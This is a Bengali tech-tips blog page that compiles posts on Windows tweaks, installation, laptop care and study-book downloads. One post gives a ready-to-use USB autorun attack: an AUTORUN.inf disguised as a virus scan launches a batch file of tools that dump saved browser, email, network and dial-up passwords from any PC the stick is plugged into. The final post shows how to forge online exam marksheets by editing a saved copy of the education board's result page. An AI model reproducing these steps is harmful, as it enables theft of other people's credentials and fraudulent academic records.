Thursday, April 19, 2012

উইন্ডোজ ৭ এর পাসওয়ার্ড ভুলে গেলে কি করবেন?

Ads by Techtunes - tAds
আমরা অনেকেই আমাদের কম্পিওটারের ইউজার অ্যাকাউন্টের সুরক্ষার জন্য পাসওয়ার্ড ব্যবহার করে থাকি।কিন্তু আপনি কখনও যদি  পাসওয়ার্ড ভুলে যান এবং মনে করুন কোথাও লিখে রাখেননি,কোন হিন্টও না।তখন আপনার অবস্থা কি রকম হবে?একটু ভেবে দেখুন তো।
এ পরিস্থিতি থেকে মুক্তির উপায় নতুন করে অপারেটিং সিস্টেম ইন্সটল করা।তার সাথে অন্যান্য সমস্যা না বলাই ভাল হবে।কিন্ত একটু সচেতন হলে যারা উইন্ডোজ ৭ ব্যবহার করেন এরকম পরিস্থিতি এড়াতে পারেন। 
  এই সমস্যার একটি সহজ সমাধান হতে পারে একটু সতর্কতা এবং উইন্ডোজ  ৭ এর Forgotten Password wizard নামক টুলটির সাহায্যে userkey.psw নামে একটি ফাইল তৈরি হবে যা পাসওয়ার্ড ভুলে গেলে ব্যবহার করে পাসওয়ার্ড পুনরায় সেট করতে পারবেন।
   এজন্য স্টার্ট মেনুর সার্চ মেনুতে Password reset disk বা Forgotten password লিখে সার্চ করে অথবা Control Panel>User Accounts and Family Safety উইন্ডোর বাদিক থেকে Create a password reset disk নিবার্চন করতে হবে।চালু করলে নিচের উইন্ডোটি দেখা যাবে।

এখন নেক্সট(Next)বাটনে চেপে পরবর্তী উইন্ডো থেকে  ড্রাইভে সিলেক্ট করতে হবে।মনে রাখা দরকার এ জন্য বহনযোগ্য মিডিয়া যেমন:পেন ড্রাইভে,ডিস্ক ব্যবহার করতে হবে।
 
তারপর পাসওয়ার্ড চাইবে।আপনার অ্যাকাউন্টের পাসওয়ার্ডটি দিন।না থাকলে খালি রেখে নেক্সট বাটনে চাপুন।
 
 ফাইলটি তৈরি হলে শেষ বাটনে চেপে উইন্ডোটি বন্ধ করে দিন।
 

প্রায় ২ মেগাবাইটের ফাইলটি সহজেই সংরক্ষণ করা যাবে।এই ফাইলটিই মূল উপাদান।কেউ যদি আপনারটির অনুলিপি নিয়ে যায় তাহলে এর সাহায্যে আপনার কম্পিউটারে লগিন করতে পারে।এজন্য চিন্তা না করে নতুনকরে আরেকটি তৈরি করে নিন।পুরনোটি বাতিল হয়ে যাবে।
ব্যবহার:পাসওয়ার্ড ভুলে গেলে কম্পিউটার চালু করে ভুল পাসওয়ার্ড টাইপ করুন এবং যে পেনড্রাইভ বা সিডিতে ফাইলটি সংরক্ষণ করা তা প্রবেশ করান।তারপরবর্তী উইন্ডোতে পাসওয়ার্ডের ঘরের নিচে রিসেট পাসওয়ার্ডে(Reset password)ক্লিক করলে Forgotten Password  Wizardচালু হবে।পূর্বের মত করে ড্রাইভ বাছাই করে নেক্সটে ক্লিক করে পরবর্তী উইন্ডোতে নতুন পাসওয়ার্ড ও হিন্ট দিয়ে সংরক্ষণ করুন।এবার আপনি নতুন পাসওয়ার্ড দিয়ে লগিন করতে পারবেন।
এটি শুধু মাইক্রোসফটের উইনডোজ ৭ অপারেটিং সিস্টেমের ক্ষেত্রে কাজ করবে।

Windows Xp এর Start মেনু তে Start এর স্থলে নিজের নাম বা নিজের ইচ্ছা মত যেকোন লেখা যোগ করুন

Ads by Techtunes - tAds
এর জন্য প্রথমে আপনাকে একটি softwere দরকার হবে যা আপনার XP CD তে পাবেন "CD\XP_XTRAS\RESOURCE HACKER" এখনে RESHACKER.RAR নামে এই RAR ফাইল টি winrar এর মাধ্যমে Extract করুন। এরপর C:\WINDOWS এখান থেকে explorer.exe কে RESHACKER দিয়ে ওপেন করুন।

এখানে string table এর ৩৭ নম্বর এর ১০৩৩ এ ক্লিক করুন দেখবেন ডানে একটি txt pad এসেছে এখানে ৫৭৮ তে Start এর স্থলে আপনার নাম বা অন্য কিছু (Start মেনু তে Start এর স্থলে যা লিখতে চান)আমি "XP Next" লিখেছি

আবার string table এর ৩৮ নম্বর এর ১০৩৩ এ ক্লিক করুন দেখবেন ডানে একটি txt pad এসেছে এখানে ৫৯৫ তে Start এর স্থলে ৩৭ নম্বর এর ১০৩৩ এর ৫৭৮ তে যা লিখেছেন তা লিখুন আমি "XP Next" লিখেছি।

কেল্লা ফতে এখন file মেনু হতে save as দিন xplorer.exe নামে C:\WINDOWS এখানে। আপাদত কম্পপ্লিট।
১টি নোটপ্যাড চালু করে তাতে
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Shell"="xplorer.exe"
এই কমান্ড দিন তারপর save as দিন তারপর rename করে xplorer.reg করুন।
তারপর ডাবল ক্লিক করে yes দিয়ে ok করুন। restart দিন দেখুন কাজ হয়েছে।

দরকার হলে ফোন করুন +8801676689556

কোন Software ছাড়াই ম্যানুয়ালি হ্যাক করুন Windows XP এর Boot Screen এবং সেখানে দেখুন Windows 7 এর Boot Screen

করা যায় একথা আমরা প্রায় সবাই কম বেশী জানি। কিন্তু আপনি কখনও কী ম্যানুয়ালি XP র Boot Screen Change করার কথা ভেবেছেন। আসুন কিভাবে ম্যনুয়ালি XP এর Boot Screen Change করা যায় আমরা তা দেখে নিই। আমরা যারা Windows XP ব্যবহার করি তারা XP র একঘেয়ে Boot Screen দেখেই অভ্যস্থ। যেখানে XP এর একটি Logo থাকে এবং Windows XP Professional এই কথাটি লেখা থাকে। আর আমরা যারা Windows 7 ব্যবহার করেছি সেখানে Boot Screen এ লেখা থাকে Starting Windows এবং একটি সুন্দর এ্যানিমেশন দেখা যায়। windows7_beta_boot_screen


আমরা যখন XP র Boot Screen Change করব তখন XP র Boot Screen এ Starting Windows কথাটি দেখতে পাব। তবে এখানে সেই সুন্দর Animation টি আমরা পাব না কারন Windows XP এর যে ফাইলটার (Ntoskrnl.exe) কারনে আমরা Boot Screen টা দেখতে পাই সেই ফাইলটা Animation Support করেনা। তার পরেও এখানে আপনি যে Boot Screen টা পাবেন সেটাও অনেক সুন্দর । প্রথমে আপনি এখানে ক্লিক করে (Mediafire Link) Windows 7 এর Boot Screen টাDownload করে নিন। Zip File তাই কম্পিউটারের যেকোন যায়গায় Extract করে নিয়ে কম্পিউটার Restart করুন। Restart হওয়ার সময় XP র Boot Screen দেখতে পাওয়ার আগে থেকেই আপনি কীবোর্ড থেকে F8 চাপতে থাকুন। Advanced Boot Menu আসবে। এখান থেকে আপনি Safe Mode Select করে Enter দিন । আপনার কম্পিউটার Safe Mode এ চালু হবে। এবার আগে থেকে ডাউনলোড করে রাখা NToskrnl.exe ফাইলটা C:\WINDOWS\system32 ফোল্ডারের ভেতরে Paste করে দিন। এক্ষেত্রে Replace দেখাবে আপনি Replace করুন। আপনার কাজ শেষ। এবার কম্পিউটার Restart করুন। Normal ভাবে কম্পিউটার চালু করুন আর উপেভাগ করুন Windows7 এর Boot Screen আপনার XP তে। সবাইকে ধন্যবাদ।

শিখেনিন Windows-7 Setup | [বাংলা ব্লগ-এ এই প্রথম পূর্ণাঙ্গ বিশ্লেষণ!!!!]


[বি. দ্র. : যে সকল সম্মানীত মহান ব্যক্তিরা Windows setup করতে পারেন তাঁরা দয়াকরে অন্য কোন tune visit কারুন। এই tune তাঁর বিরক্তির কারন হতে পারে কারন এইখানে Windows-7 Setup এর চুল ছেড়া বিশ্লেষণ হবে।]
আপনারা যারা Windows 7 setup করার জন্য অন্য ব্যক্তির দারস্থ হতে হয় তাদেরকে বলছি- শিখে নিন, আর কত হাঁটবেন অন্যের দুয়ারে?
আমি এইখানে অনেক সহজ ভাষায় লিখেছি, আনেক ছোট-খাটো বিষয় নিয়েও আলোচনা করেছি তাই Tune টি অনেক বড়ো হয়েছে। আশা করি ধর্য্য নিয়ে পড়বেন...
Windows-7 setup করার জন্য আপনার Computer/Laptop এ কমপক্ষে যা থাকা প্রয়োজনঃ
  • ১. 1 GHz Processor
  • ২. 512MB RAM
  • ৩. 20GB in C Drive
আছেতো আপনার Computer এ এই তিন জিনিস? তাহলে শুরু করুন Windows-7 Setup. (দেহি অ্যাঁইজ আমাগোরে কে আটকায়...... :) )
সতর্কতাঃ Windows Setup এর আগে C Drive/Desktop/Documents এর সকল গুরুত্বাপূর্ণা File অন্য Drive সরিয়ে রাখুন। কারন Windows Setup এর কারনে ঐ সব জায়গার সকাল File চিরতরে হারিয়ে যাবে।
Step-1: BIOS (BASIC INPUT OUTPUT SYSTEM) Setup
Computer এর Power সুইচ টিপ দেওয়ার পর Display আসার সাথে সাথে F2/Del Key চেপে BIOS এ প্রবেশ করতে হবে।
এখন Boot Option এ গিয়ে 1st Boot : CD/DVD আর 2nd Boot : HD/Hard Disk করে দিতে হবে। F10 চেপে ও Y(Yes) চাপলে BIOS Save হবে এবং Computer restart হবে।
নিচের চিত্র দেখুনঃ
pic01
MotherBoard এর কারনে BIOS এর ধরন ভিন্ন হতে পারে। তবে 1st Boot, 2nd Boot এর ব্যাপারটা সকল ক্ষেত্রে সম্পূর্ণ একই রকম।
Step-2: Windows-7 Setup........
Computer restart হওয়ার সময় Press any key to boot from cd or dvd আসার সাথে সাথে Keyboard থেকে যে কোন একটি Button চাপ দিন।
press
এরপর এই রকম আসবে, এখন অপেক্ষা করুন.........
pic02
Next এ Click করুন.........
pic03
Install Now তে Click করুন.........
pic04
I accept the license terms এ Click করে Next এ Click করুন.........
pic05
Windows 7 Home Ultimate এ Click করে Next এ Click করুন.........
pic06
Custom এ Click করুন.........
pic07
Disk 0 Partition 2 তে Click করে Format করুন এবং Next এ Click করুন.........
pic08
হুম, শুরু হল Installing Windows...
pic09
Installing updates...
pic10
installing updates শেষে ১০ সেকেন্ড পর Computer restart হবে...
pic11
Restart হচ্ছে......
pic12
অপেক্ষা......
pic13
User Name ও Computer Name লিখে Next এ Click করুন.........
pic14
ইচ্ছে করলে Password দিতে পারেন......
pic15
Product key চাইবে! ভয় পাবেন না! Product key কে পাত্তা না দিয়ে Next এ Click করুন। এই বার লও খ্যলা......
pic16
Ask me later এ Click করুন.........
pic17
Computer এর ঘড়ির সময় ঠিক না থাকলে ঠিক করে Next এ Click করুন.........
pic18
Public Network এ Click করুন.........
pic19
অপেক্ষা....
pic20
Restart হওয়ার পর...
pic21
অপেক্ষা আর অপেক্ষা....
pic22
:) :) :) শেষ.........
pic23
এখন বলেন আর যাবেন অন্যের কাছে Windows 7 setup করার জন্য? আশা করি আর যাওয়া লাগবে না।
ধন্যাবাদ।

Computer Refresh করুন হাতের ছোঁয়া ছাড়া

কম্পিউটারে কোন কাজ করার পর রিফ্রেস দেওয়াটা অনেকের কাছে রীতিমত অভ্যাসে পরিনত হয়ে গেছে। কারো কারো অভ্যাসটা এত বেশী হয়ে গেছে যে কারণে-অকারণেই অনেকে রিফ্রেস দেন icon smile Computer Refresh করুন হাতের ছোঁয়া ছাড়া । যাই হোক, আমি আজকে আপনাদের একটা ছোট টিপস শেখাব। টিপসটি হল কিভাবে সয়ংক্রিয়ভাবে রিফ্রেস করা যায়। এই কাজটি করার ফলে কম্পিউটার নিজে নিজেই রিফ্রেস করে নেবে। আপনাকে আর কষ্ট করে মাউস দিয়ে রিফ্রেস করতে হবে না। এজন্য আপনাকে যা করতে হবে:
Start Menu -> Run এ গিয়ে regedit লিখে ok করুন। Registry Editor চালু হবে। HKEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSet -> Control -> Update এ গিয়ে ডান পাশে লেখা দেখবেন UpdateMode। এটাতে ডাবল ক্লিক করে ডাটা 1 এর পরিবর্তে 0 করে দিন। কম্পিউটার রিস্টার্ট করুন। ব্যাস হয়ে গেল। এখন থেকে আপনার কম্পিউটার অটোমেটিক রিফ্রেস হবে।
বাজারে এখনো উইন্ডোজ ৮ আসেনি তার আগেই ধারনা করা হয়ে গেছে উইন্ডোজ ৮ কেমন হবে। আরো মজার কথা হল যে টিউনারপেজের পক্ষ থেকে সবার জন্য স্পেসাল গিফগ এটা, বাজারে আসার আগেই উপভগ করুন সম্পূর্ণ উইন্ডোজ ৮ এর মজা, পুরোপুরি উইন্ডোজ ৮ এ রূপান্তর করুন আপনার উইন্ডোজ ৭ ও ভিস্তা কে। এটি হল Windows 8 Themes for windows 7 and vista এটা ইন্সটল করা পর আপনার চির যেনা উইন্ডোজ সেভেন অথবা ভিস্তা হয়ে যাবে পুরোপুরি উইন্ডোজ ৮। মজার না জিনিসটা? যেই জিনিস এখনো আসেনি সেটাই আপনি ব্যাবহার করে ফেলবেন। ত আর দেরি কেন? আপনি কি রেডি আছেন?

এসএসসি,এইচএইচসি ও GRE শিক্ষার্থীদের জন্য প্রয়োজনীয় সব সূত্র ও টেকনিক এর বাংল বই…….

নিচের এই বই গুলো আশা করি সব ছাত্র দের কাজে লাগবে ...। আর আমার মত যারা টিউশনি করেন তাদের জন্য তো আরও বেশি লাগবে...।কিছু মেগাবাইট খরচ করে নামিয়ে ফেলুন ...।
(আপনার বন্ধু অথবা ছোট ভাইয়ের কাজে লাগবে)
এই বই গুলো -ইউনিকোড টেক্সট ফরম্যাটে(স্ক্যান করা না) যা খুব সহজে Mobile ও Computer পড়তে পারবেন.........
এইচএসসি ও অর্নাস শিক্ষার্থীদের জন্যঃ-

বিজ্ঞান বিভাগের শিক্ষার্থীদের জন্য

জ্যামিতির সব সূত্র ও টেকনিকঃ
*Geometry Equation -HSC & Honours (Short Technique & Formulas).pdf
Download link:
http://www.mediafire.com/?if2h2382h1377sv
পদার্থ বিজ্ঞানের সব সূত্র ও টেকনিকঃ
*Physics 2nd Paper -HSC & Honours (Short Technique & Formulas).pdf
Download link:
http://www.mediafire.com/?uqcodcq8x6emyl9
ত্রিকোণমিতির সব সূত্র ও টেকনিকঃ
Trigonometry Equation.pdf
Download link:
http://www.mediafire.com/?pcew3bn51izcber

ব্যবসায় শিক্ষার ছাত্রদের জন্য সব সূত্র ও টেকনিকঃ

*Accounting -HSC & Honours (Short Technique & Formulas).pdf
Download link:
http://www.mediafire.com/?ddhl68g49o3d34q
http://www.mediafire.com/?hbauaucoc611aix
*Management -HSC & Honours (Short Technique & Formulas).pdf
Download link:
http://www.mediafire.com/?0mf6fn6ce1hryvj

এসএসসি বীজগণিত এর সব সূত্র

Algebra Equation.pdf
Download link:
http://www.mediafire.com/?agzqxlkknzu7lqo
Math.pdf
Download link:
http://www.mediafire.com/?5gptn5pcr03fnla
জি আর ই GRE এর সব এমসিকিউ টেষ্টঃ
GRE_math.zip
Download link:
http://www.mediafire.com/?u7vy13x2xhf9el4
এই বই গুলো আপনাদের ডিজিটাল জীবন কে আরও সহজ করে দিবে আশা করি।আমার পরিশ্রম আপনাদের বিন্দুমাত্র কাজে লাগলেও আমি স্বার্থক।

সহজে ইংলিশ শিখার জন্য কিছু বাংলা বই( সবার কাজে লাগতে পারে))

সবাইকে সালাম। আশাকরি আপনারা অনেক ভাল আছেন।  আমি আপনাদের জন্য নিয়ে এলাম ইংলিশ শিখার
কিছু বাংলা বই। এই বই গুলো ইংলিশে কথা বলা ও গ্রামার শিখার জন্য কাজ দিবে  । আশা করি আপনাদের খুব ভাল লাগবে।
আমাদের মাতৃভাষা বাংলা আর দ্বিতীয় ভাষা ইংরেজী তবে যেহেতু আমাদের মাতৃভাষা ইংরেজী না তাই ইংরেজী আমাদের জন্য অনেক কঠিন ।সামান্য কিছু মানুষ ইংরেজীটা ভালো ভাবে বুঝে আর আমার মতো যারা তারা মোটামুটি বুঝি আর আরেক অংশ আছে যারা ইংরেজী ভীতিতে ভীত , কিন্তু আমরা আমরা যতই ইংরেজীতে পাকনা হইনা কেন আমাদের ভুল ভ্রান্তি হবেই বানান ভুল হবে ব্যাকারণগত ভুল হবে এর বড় কারন আমরা খুব কম সময় ইংলিশ চর্চা করি।
তাই ইংলিশ ভাষা ও গ্রামার  সম্পর্কে ভাল ভাবে জানার জন্য নিচের বাংলা বই গুলো ডাউনলোড করুন - ইউনিকোড ফরম্যাটে যা খুব সহজে Mobile ও Computer পড়তে পারবেন.........
Let's Learn English Language.pdf
Download link: http://www.mediafire.com/?yyjo9oajbwu78b5
English Sentance Correction.pdf
Download link: http://www.mediafire.com/?7lupd7z079bb3js
Pair Of Words.pdf
Download link: http://www.mediafire.com/?wzld7f08aqhqzfb

ল্যাপটপ সম্পর্কিত টিপস


বাংলাদেশের বাজারে এ সময়ের সবচেয়ে আলোচিত প্রযুক্তি পন্যের নাম ল্যাপটপ। বহনের সুবিধা থাকায় এই পন্যটি একজন প্রযুক্তি মনস্ক মানুষের জীবনযাপন অনেকটাই সহজ করে দেয়। তাই আজকাল একজন আধুনিক মানুষের একটি ল্যাপটপ না থাকলেই নয়। কয়েক বছর আগেও ল্যাপটপ ছিল সাধারনের নাগালের একেবারে বাইরে। সম্প্রতি বাংলাদেশের বাজারে কম মূল্যে বেশ কিছু ভালো ব্র্যন্ডের ল্যাপটপ এসেছে। ফলে ব্যবসায়ী এবং আইটি বিশেষজ্ঞদের গন্ডি পেরিয়ে ল্যাপটপ এখন প্রায় সবর্স্তরের মানুষের হাতের কাছেই। আর পুরো টাকা একসাথে যোগাড় না করতে পারলে রয়েছে কিস্তির ব্যবস্থা। চলুন দেখে নেয়া যাক ল্যাপটপ সম্পর্কিত এমন কিছু টিপস যেগুলো ল্যাপটপ কেনার আগে ও পরে আপনাদের কাজে লাগবে।
ল্যাপটপ কেনার আগে-
ল্যাপটপের দাম সাধারনত ডেস্কটপের চেয়ে অনেক বেশি। তাই একটু ভেবে চিন্তেই ল্যাপটপ কেনা উচিত। ল্যাপটপ কেনার আগে যেসব বিষয় ভেবে নেয়া প্রয়োজনঃ
>আপনি কি কাজে ল্যাপটপ কিনবেন সেটা একটি বড় বিষয়। আপনার কাজের ধরন অনুযায়ী ল্যাপটপের কনফিগারেশন ঠিক করুন। যেমনঃ বেশি মেমোরি প্রয়োজন এমন কোন সফটওয়্যার ব্যবহার না করলে সাধারন কাজের জন্য কম বাজেটের সেলেরন প্রসেসরের ল্যাপটপ কেনাই যথেষ্ঠ। কিন্তু আপনি যদি গেম খেলা বা গ্রাফিক্সের কাজ করতে চান তাহলে উচ্চ গতি সম্পন্ন হাই কনফিগারেশনের ল্যাপটপই কেনা উচিত। কনফিগারেশন নির্ধারনের ব্যাপারে প্রসেসরের ক্লক স্পিডের দিকে বেশি লক্ষ্য রাখুন।
>ল্যাপটপ যেহেতু কিছুটা দামী পণ্য তাই এক্ষেত্রে বাজেট বড় একটি বিষয়। এছাড়া বাজারে ল্যাপটপেরর প্রায় সব ব্র্যান্ডই ভালো। তাই ব্র্যান্ডের নামের চেয়ে ল্যাপটপ কেনার আগে দেখুন সাধ্যের মধ্যে কোন মডেলের ল্যাপটপে আপনি ভালো সবচেয়ে কনফিগারেশন পাচ্ছেন।
> ল্যাপটপ কেনার আগে দেখে নেয়া দরকার এর ব্যাটারি কতটুকু সময় ব্যাকআপ দিতে পারে। আপনার যদি আউটডোরে ল্যাপটপ বেশি ব্যবহার করার প্রয়োজন হয় তাহলে লক্ষ্য রাখুন ব্যাটারির ব্যাকআপ যেন একটু বেশি হয়।
> এখন অনেক জায়গাতেই স্বল্প মূল্যে ব্যবহৃত (সেকেন্ড হ্যান্ড) ল্যাপটপ পাওয়া যায়। এ ধরনের ব্যবহৃত ল্যাপটপ কেনার আগে ভালোভাবে ভাবুন। কারন, সেকেন্ড হ্যান্ড ল্যাপটপ বিক্রির সময় বিক্রেতারা অনেক ত্রুটির কথা চেপে যান। আর ওয়ারেন্টি না থাকায় এসব ল্যাপটপ কিনে আপনি নিশ্চিন্তে থাকতেও পারবেন না।
>ল্যাপটপের প্রধান সুবিধা হচ্ছে এটি খুব সহজেই বহন করা যায়। তাই যে ল্যাপটপ কিনবেন তার ওজন কেমন সেটা জেনে নিন। ছোট স্ক্রিনের ল্যাপটপের ওজন সাধারনত কম হয় বলে বহন করা সুবিধাজনক; এসব ল্যাপটপের দামও তূলনামূলকভাবে বেশি। তবে গ্রাফিক্সের কাজ যারা করবেন তাদের জন্য একটু বড় স্কিনের ল্যাপটপ কেনাই ভালো। তবে আউটডোরে বেশি ব্যবহারের প্রয়োজন হলে কম ওজনের ল্যাপটপ কেনাই ভালো। তবে এক্ষেত্রে সবচেয়ে বড় কথা হলো-আপনি কেমন স্ক্রিনের ল্যাপটপ ব্যবহারে বেশি স্বাচ্ছন্দ্য বোধ করবেন।
ল্যাপটপ কেনার পরে-
ল্যাপটপ কেনার পর ল্যাপটপ ব্যবহারে বেশ কিছুটা সতর্কতা অবলম্বন করা জরুরী।এগুলো হলো-
>ল্যাপটপ বেশিক্ষণ কোলের উপর রেখে ব্যবহার করা উচিত নয়। বেশ কিছুদিন আগে একদল গবেষক ল্যাপটপ ব্যবহারকারীদের মাঝে এক জরিপ চালিয়ে দেখেছেন, যারা কোলের উপর রেখে টানা অনেকক্ষণ ল্যাপটপ ব্যবহার করেন তাদের প্রজনন ক্ষমতা নষ্ট হয়ে যাবার সম্ভাবনা আছে।
>দাম একটু বেশি হলেও ল্যাপটপ বহনে ল্যাপটপের জন্য বিশেষভাবে তৈরি ব্যাগ ব্যবহার করুন। এসব ব্যাগ ল্যাপটপকে বাইরের আঘাত থেকে রক্ষা করতে পারে। এছাড়া ভ্রমণে ল্যাপটপ বহন করার জন্য কাঁধে ঝুলানোর সুবিধা যুক্ত (অনেকটা স্কুল ব্যাগের মতো) ব্যাগ ব্যবহার করতে পারেন। এক্ষেত্রে বহনে সুবিধার পাশাপাশি আরেকটি সুবিধা হলো বাইরে থেকে বোঝাই যাবে না যে আপনি ল্যাপটপ বহন করছেন। তাই ছিনতাইকারীর দৃষ্টি থেকে রক্ষা পেতে পারেন।
> ল্যাপটপে বিল্ট-ইন কিছু ডিভাইস আছে যেমনঃ ব্লু-টুথ, ওয়াই-ফাই, ইনফ্রারেড ইত্যাদি। প্রয়োজন না থাকলে ল্যাপটপ ব্যবহারের সময় এসব ডিভাইস বন্ধ করে রাখুন। এতে ব্যাটারির শক্তি খরচ কম হবে।
> ডিসপ্লে সেটিংস থেকে বিভিন্ন অতিরিক্ত ফিচার যেমনঃ ClearType fonts , fade effects ইত্যাদি বন্ধ করে রাখুন। ফলে শক্তি খরচ কিছুটা কম হবে।
> ল্যাপটপে গেম খেলা বা কোন কিছু টাইপ করার জন্য এক্সটার্নাল কী-বোর্ড এবং মাউস ব্যবহার করুন। কারন, এসব ক্ষেত্রে বেশি ব্যবহারে ল্যাপটপের টাচ প্যাড এবং কি-বোর্ডের আয়ু কমে যাবে।
>ঘরে বা বিদ্যুত ব্যবহারের সুবিধা আছে এমন স্থানে সরাসরি বিদ্যুত ব্যবহারের মাধ্যমে ল্যাপটপ চালান। প্রত্যেকটি ল্যাপটপের ব্যাটারির একটি আয়ু আছে। একটি নির্দিষ্ট সংখ্যক বার চার্জ হবার পর এই ব্যাটারিটি নষ্ট অর্থাৎ ব্যবহারের অনুপযোগী হয়ে যায়।
>ল্যাপটপ ডেস্কটপের মতো একটানা ব্যবহার করা ঠিক নয়। বেশ কয়েক ঘন্টা ব্যবহার করার পর ল্যাপটপ কিছু সময় বন্ধ রাখা উচিত।
>ল্যাপটপের এয়ার ভেন্টটি নিয়মিত পরিষ্কার করুন। কারন এয়ার ভেন্ট বন্ধ হয়ে গেলে প্রচুর তাপ উৎপন্ন হবে যা ল্যাপটপের জন্য ক্ষতিকর
>খাবার ও পানীয় থেকে ল্যাপটপ দূরে রাখুন। নাহলে অসাবধানতা বশত ল্যাপটপের উপর পানি পড়ে নষ্ট হয়ে যেতে পারে।
>ল্যাপটপ শিশুদের নাগালের বাইরে রাখুন। কারন, হাত থেকে একবার পড়ে গেলেই ল্যাপটপের আয়ু শেষ!

শুধুমাত্র পেনড্রাইভ লাগিয়েই হাতিয়ে নিন পিসির সব পাসওয়ার্ড!!!

Sitename BD
বিষয়টা হয়তো কিছুটা পরিচিত। আমার কিছু বন্ধুর জন্যই বলা যায় টিউনটা করা। ;) আজকাল সবার কাছেই পেনড্রাইভ আছে বলা যায়। একজনের পিসি থেকে আরেক জনের পিসিতে অবাধে বিচরন করছে এই পেনড্রাইভ। আর এই পেনড্রাইভকেই ব্যবহার করতে পারেন হ্যাকিং এর ছোট হাতিয়ার হিসেবে। শুধু পেনড্রাইভই নয় মেমরি কার্ড দিয়েও একই কাজ করা সম্ভব! তাহলে চলুন শুরু করা যাক।
প্রথমে দুইটা ফাইল বানাতে হবে। নাম ধরেন AUTORUN এবং LAUNCH।
একটা নোট প্যাড খুলুন। তারপর টাইপ করুন
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
এখন সেভ করুন AUTORUN.inf নামে।
আবার নোট প্যাড খুলুন। তারপর টাইপ করুন
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start PasswordFox.exe /stext passwordfox.txt
start OperaPassView.exe /stext OperaPassView.txt
start ChromePass.exe /stext ChromePass.txt
start Dialupass.exe /stext Dialupass.txt
start netpass.exe /stext netpass.txt
এখন সেভ করুন LAUNCH.bat নামে। আপনি আপনার মতো কাস্টোমাইজও করে নিতে পারেন।
এখন এই সাইটে যান।
এখানে থেকে আপনার প্রয়োজনীয় সফটওয়্যার ডাউনলোড করে নিতে পারেন।

এত ঝামেলা না করতে চাইলে সরাসরি এখান থেকে এই ফাইলটি ডাউনলোড করে নিন। তারপর Extract করে ফোল্ডারের সব ফাইলগুলো আপনার পেনড্রাইভে কপি করুন। বলা যায় আপনার কাজ শেষ।

এখন এই পেনড্রাইভ যে কারও পিসিতে প্রবেশ করালেই পেয়ে যাবেন সব সেভ করা পাসওয়ার্ড!

এবার নিজেই বানান জেডিসি, জেএসসি, এসএসসি, এইচএসসি, মাস্টার ডিগ্রির হ্যাকড‌‍ অনলাইন মার্কশিট এবং সার্টিফিকেট।


আশা করি সবাই ভালো আছেন। বরাবরের মত আবারও ফিরে আসলাম আপনাদের ভালোবাসা এবং প্রশংসা কুড়াতে। আপনাদের ভালো লাগার জন্যই এত কস্ট করে টিউন করা। এই কস্ট স্বার্থক হয় তক্ষুনি যখন এই কস্টের ফসল আপনাদের ভালো লাগে আপনাদের উপকারে আসে। যাই হোক আর কথা বাড়াবো না। আপনাদের কে নিয়ে যাচ্ছি মুল টিউনে।

টিউনটি শুধুমাত্র একটি প্রসেস জানার জন্য এবং তার সাথে সামান্য মজা করার জন্য, তাই প্লীজ এটিকে অন্যভাবে নিয়ে বিতর্কিত করবেন না।

মজার ঘটনার শুরু এখান থেকে। কিছুদিন আগে এইচএসসি পরীক্ষার রেজাল্ট দিল। হাসান ছিলো এবারের পরীক্ষার্থী। আমি এক সপ্তাহ আগে থেকে ভাই এর রেজাল্ট জানার জন্য উন্মুখ, রেজাল্টের আগের দিন থেকে ফোনের পর ফোন। এরপর রেজাল্টের দিন দুপুর থেকে ভাই এর ফোন অফ। আরিব্বাস কি হইলো!! নিদারুন উৎকণ্ঠা। ভাই অবশেষে ফোন ধরলো পরের দিন। শুরুতেই দিলাম হেভী একটা ঝাড়ি। ঝাড়ি খেয়ে ভাই এর কোন ভাবান্তর হলনা। সম্ভবত ভাই এর গ্রেড কিছুটা কম আসছে তাই ভাই মুখ খুলে না!!! যতই জিগাই বলে, "পাশ করছি" । আমি বলি পাশ করছতো বুঝলাম তো গ্রেড টা কি? এই প্রশ্ন শুইনাই ভাই আবার নতুন বৌ এর মত লাল। শুধু বলে, "বলা যাবে না"। স্পস্ট মনে আছে, ঘেতাইতে ঘেতাইতে মোট ৩৮টাকা ফোনের বিল কেটেছে মাগার ভাই মুখ খুলেনা। মুখ থেকে গ্রেড পয়েন্ট এর প্রথম সংখ্যার প্রথম এলফাবেটটা (যেমন 4 (Four) পয়েন্ট এর F) পর্যন্ত স্বীকারত্তি মুলক ভাবে বার করতে পারলাম না। অবশেষে ব্যর্থ হৃদয়ে হতাশ হয়ে হাল ছেড়ে দিলাম।
হটাৎ একসময়ে হাসানের কস্টের কথা মনে হল। আমার মত না জানি কত পাবলিক/ফ্যান কে তার সামাল দিতে হচ্ছে। তাই এরকম দুর্ভাগা যারা আছেন তাদের কস্ট সামান্য লাঘব করার জন্য আমার আজকের এই পোস্ট। তবে প্লীজ কেউ এই পদ্ধতীটিকে বাটপারির উদ্যেশে ব্যবহার করিয়েন না। বন্ধুবান্ধবদের সাথে জাস্ট ফান করতে পারেন।
প্রথমেই চলে যান নিচের লিঙ্কে,
http://www.educationboardresults.gov.bd/

১. উপরের পেজটি আসবে।

২. এবার পেজ এর যে কোন স্থানে রাইট ক্লিক করুন, এবং "View Page source" ক্লিক করুন।

৩. পুরো লেখাটি কপি করুন।

৪. একটা নোট প্যাড খুলে তাতে লেখা গুলো পেস্ট করুন। এবং ".html" এক্সটেনশন দিয়ে সেভ করুন।

৫. এবার কাংখিত রোল নাম্বার লিখে মার্কশিট টি বের করুন।

৬. এবারও পেজ এর যে কোন স্থানে রাইট ক্লিক করুন, এবং "View Page source" ক্লিক করুন।

৭. আগের পদ্ধতি ফলো করুন এবং নতুন ডকুমেন্ট টিকে "result.php" নামে সেভ করুন।

৮. এবার খেয়াল করুন, আমরা উপরের মার্কশিট টির ডাটা গুলো চেঞ্জ করবো।

৯. প্রথমেই "result.php" ফাইলটি নোটপ্যাডের মাধ্যমে ওপেন করুন।

১০. "Ctrl+F" ক্লিক করুন। অরিজিনাল জিপিএ লিখে "ফাইন্ড নেক্সট" ক্লিক করুন।

১১. আপনার অরিজিনাল জিপিএ মুছে আপনার কাংখিত জিপিএ টাইপ করে সেভ করুন। (হেঃ হেঃ আমি ফাইভ মাইরা দিলাম)

